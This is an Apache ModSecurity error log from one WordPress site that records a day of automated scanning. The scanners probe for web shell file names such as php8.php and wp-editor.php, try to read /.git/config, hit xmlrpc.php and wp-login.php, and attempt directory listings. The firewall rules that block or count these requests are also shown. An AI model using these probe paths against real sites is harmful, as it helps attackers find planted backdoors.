[Sun Nov 23 04:01:25.597145 2025] [:error] [pid 56275:tid 56287] [client 103.163.161.30:53753] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "aSIWlbhaClcAPg7VXOSGHQAAAMg"]
[Sun Nov 23 04:01:25.854340 2025] [:error] [pid 56181:tid 56262] [client 103.163.161.30:53805] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/lufix1.php"] [unique_id "aSIWlckLwhNGnt-ns6aU9QAAAJU"]
[Sun Nov 23 04:01:26.109048 2025] [:error] [pid 56181:tid 56257] [client 103.163.161.30:53853] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/witmm.php"] [unique_id "aSIWlskLwhNGnt-ns6aU_AAAAJA"]
[Sun Nov 23 04:01:26.374926 2025] [:error] [pid 56181:tid 56255] [client 103.163.161.30:53913] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "aSIWlskLwhNGnt-ns6aVAwAAAI4"]
[Sun Nov 23 04:01:26.652503 2025] [:error] [pid 56176:tid 56202] [client 103.163.161.30:53997] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "aSIWlrjUOh400lKsKrFW-wAAAA8"]
[Sun Nov 23 04:01:26.913754 2025] [:error] [pid 56176:tid 56190] [client 103.163.161.30:54053] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "aSIWlrjUOh400lKsKrFXAQAAAAM"]
[Sun Nov 23 04:01:27.176796 2025] [:error] [pid 56275:tid 56292] [client 103.163.161.30:54149] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aSIWl7haClcAPg7VXOSGKgAAAM0"]
[Sun Nov 23 04:01:27.432687 2025] [:error] [pid 56181:tid 56257] [client 103.163.161.30:54170] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aSIWl8kLwhNGnt-ns6aVEwAAAJA"]
[Sun Nov 23 04:01:27.680188 2025] [:error] [pid 56181:tid 56261] [client 103.163.161.30:54208] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files.php"] [unique_id "aSIWl8kLwhNGnt-ns6aVGwAAAJQ"]
[Sun Nov 23 04:01:27.946609 2025] [:error] [pid 56176:tid 56199] [client 103.163.161.30:54233] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-editor.php"] [unique_id "aSIWl7jUOh400lKsKrFXDwAAAAw"]
[Sun Nov 23 04:48:09.125687 2025] [:error] [pid 38739:tid 38775] [client 185.209.30.45:57026] [client 185.209.30.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.209.30.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSIhiQdvEgJm2n2cDmrwQgAAAEY"]
[Sun Nov 23 05:44:08.640938 2025] [:error] [pid 44652:tid 44719] [client 216.126.225.91:55246] [client 216.126.225.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSIuqNiQFwsyXQDhwyDNawAAAQ0"]
[Sun Nov 23 06:06:35.670323 2025] [:error] [pid 38739:tid 38781] [client 46.105.76.214:48135] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.76.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSIz6wdvEgJm2n2cDmoMdAAAAEw"]
[Sun Nov 23 06:10:27.658816 2025] [:error] [pid 38740:tid 38801] [client 43.159.149.216:56540] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSI00w13QPZSi6O8umWjtQAAAIU"]
[Sun Nov 23 06:44:04.078923 2025] [:error] [pid 38738:tid 38758] [client 18.216.241.136:32828] [client 18.216.241.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.216.241.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSI8tAytc6TL9XavPmPjpQAAABA"]
[Sun Nov 23 07:28:32.670858 2025] [:error] [pid 38739:tid 38774] [client 66.94.114.106:52464] [client 66.94.114.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.94.114.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJHIAdvEgJm2n2cDmo54gAAAEU"]
[Sun Nov 23 07:40:09.466795 2025] [:error] [pid 38824:tid 38837] [client 52.178.157.85:17891] [client 52.178.157.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.157.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSJJ2U8WZjXLvbHTHPfz5wAAAMo"]
[Sun Nov 23 08:00:51.784897 2025] [:error] [pid 44652:tid 44730] [client 159.203.169.232:50664] [client 159.203.169.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.169.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJOs9iQFwsyXQDhwyD78gAAARg"]
[Sun Nov 23 08:38:23.471336 2025] [:error] [pid 44652:tid 44717] [client 35.242.254.186:57814] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJXf9iQFwsyXQDhwyAH3QAAAQs"]
[Sun Nov 23 09:16:06.450609 2025] [:error] [pid 38739:tid 38782] [client 66.70.178.228:48304] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJgVgdvEgJm2n2cDmptyAAAAE0"]
[Sun Nov 23 09:57:34.355263 2025] [:error] [pid 38739:tid 38792] [client 198.71.53.139:47912] [client 198.71.53.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.53.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJqDgdvEgJm2n2cDmqANwAAAFc"]
[Sun Nov 23 10:37:40.349746 2025] [:error] [pid 44652:tid 44720] [client 135.181.77.28:48132] [client 135.181.77.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.77.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJzdNiQFwsyXQDhwyAoswAAAQ4"]
[Sun Nov 23 10:53:09.027057 2025] [:error] [pid 44652:tid 44722] [client 107.180.241.110:33222] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJ3FdiQFwsyXQDhwyAtCQAAARA"]
[Sun Nov 23 11:15:43.163089 2025] [:error] [pid 38739:tid 38787] [client 178.128.250.184:57444] [client 178.128.250.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.250.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSJ8XwdvEgJm2n2cDmqf4gAAAFI"]
[Sun Nov 23 12:05:39.539683 2025] [autoindex:error] [pid 38738:tid 38756] [client 157.173.101.17:55059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 23 12:23:47.993595 2025] [:error] [pid 38739:tid 38789] [client 84.74.180.97:45832] [client 84.74.180.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.74.180.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKMUwdvEgJm2n2cDmq1pAAAAFQ"]
[Sun Nov 23 12:28:45.621205 2025] [:error] [pid 38738:tid 38761] [client 123.187.240.242:59003] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSKNfQytc6TL9XavPmNliwAAABM"]
[Sun Nov 23 12:36:26.273855 2025] [:error] [pid 38739:tid 38789] [client 91.231.164.112:46120] [client 91.231.164.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.231.164.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKPSgdvEgJm2n2cDmq5MgAAAFQ"]
[Sun Nov 23 12:53:10.833322 2025] [:error] [pid 38738:tid 38755] [client 47.244.90.157:44416] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKTNgytc6TL9XavPmNu5gAAAA0"]
[Sun Nov 23 13:15:56.115908 2025] [:error] [pid 38824:tid 38832] [client 45.32.110.58:51656] [client 45.32.110.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.32.110.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKYjE8WZjXLvbHTHPdVMgAAAMU"]
[Sun Nov 23 13:39:47.245849 2025] [:error] [pid 38738:tid 38750] [client 51.83.253.147:40648] [client 51.83.253.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.253.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKeIwytc6TL9XavPmOCAwAAAAg"], referer: http://rcacivilgroup.com
[Sun Nov 23 13:49:09.780271 2025] [:error] [pid 38740:tid 38817] [client 70.40.255.4:49240] [client 70.40.255.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.40.255.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKgVQ13QPZSi6O8umUzXQAAAJU"], referer: http://rcacivilgroup.com
[Sun Nov 23 13:57:49.262094 2025] [:error] [pid 38739:tid 38779] [client 185.199.223.39:36188] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKiXQdvEgJm2n2cDmrQIgAAAEo"]
[Sun Nov 23 14:11:16.905779 2025] [:error] [pid 38740:tid 38811] [client 51.83.253.147:60078] [client 51.83.253.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.253.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKlhA13QPZSi6O8umU5bwAAAI8"], referer: http://rcacivilgroup.com
[Sun Nov 23 14:24:34.778065 2025] [:error] [pid 38738:tid 38761] [client 13.93.123.99:36554] [client 13.93.123.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.93.123.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKoogytc6TL9XavPmOToAAAABM"], referer: http://rcacivilgroup.com
[Sun Nov 23 14:37:12.091294 2025] [:error] [pid 38738:tid 38764] [client 45.228.210.14:44556] [client 45.228.210.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.228.210.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKrmAytc6TL9XavPmOZRQAAABY"]
[Sun Nov 23 14:56:28.339997 2025] [:error] [pid 38824:tid 38842] [client 221.224.30.114:39924] [client 221.224.30.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 221.224.30.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSKwHE8WZjXLvbHTHPdwSwAAAM8"], referer: http://rcacivilgroup.com
[Sun Nov 23 15:17:53.002658 2025] [:error] [pid 38738:tid 38754] [client 91.189.127.4:37814] [client 91.189.127.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.189.127.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSK1IQytc6TL9XavPmOplAAAAAw"]
[Sun Nov 23 15:22:13.486409 2025] [:error] [pid 38824:tid 38840] [client 115.190.32.154:59572] [client 115.190.32.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.32.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSK2JU8WZjXLvbHTHPd1xwAAAM0"], referer: http://rcacivilgroup.com
[Sun Nov 23 15:51:52.992267 2025] [:error] [pid 38740:tid 38818] [client 62.214.228.136:64413] [client 62.214.228.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.214.228.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSK9GA13QPZSi6O8umVW1AAAAJY"], referer: http://rcacivilgroup.com
[Sun Nov 23 16:01:52.434356 2025] [:error] [pid 44652:tid 44719] [client 5.129.215.121:58264] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.129.215.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSK_cNiQFwsyXQDhwyB5YQAAAQ0"]
[Sun Nov 23 16:30:53.325041 2025] [:error] [pid 38738:tid 38756] [client 121.43.150.118:34988] [client 121.43.150.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.43.150.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLGPQytc6TL9XavPmPG7AAAAA4"], referer: http://rcacivilgroup.com
[Sun Nov 23 16:40:37.321216 2025] [:error] [pid 38740:tid 38805] [client 120.25.168.36:56884] [client 120.25.168.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.25.168.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLIhQ13QPZSi6O8umWJfwAAAIk"], referer: http://rcacivilgroup.com
[Sun Nov 23 16:41:52.978365 2025] [autoindex:error] [pid 14602:tid 14638] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:41:53.169263 2025] [autoindex:error] [pid 14602:tid 14644] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:41:53.306561 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:41:53.468726 2025] [autoindex:error] [pid 14602:tid 14638] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:00.384606 2025] [autoindex:error] [pid 14602:tid 14640] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:00.500582 2025] [autoindex:error] [pid 14602:tid 14627] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:00.754669 2025] [autoindex:error] [pid 14602:tid 14621] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:00.951108 2025] [autoindex:error] [pid 14602:tid 14625] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:01.252343 2025] [autoindex:error] [pid 14602:tid 14644] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:01.404621 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:01.722186 2025] [autoindex:error] [pid 14602:tid 14637] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:10.872335 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
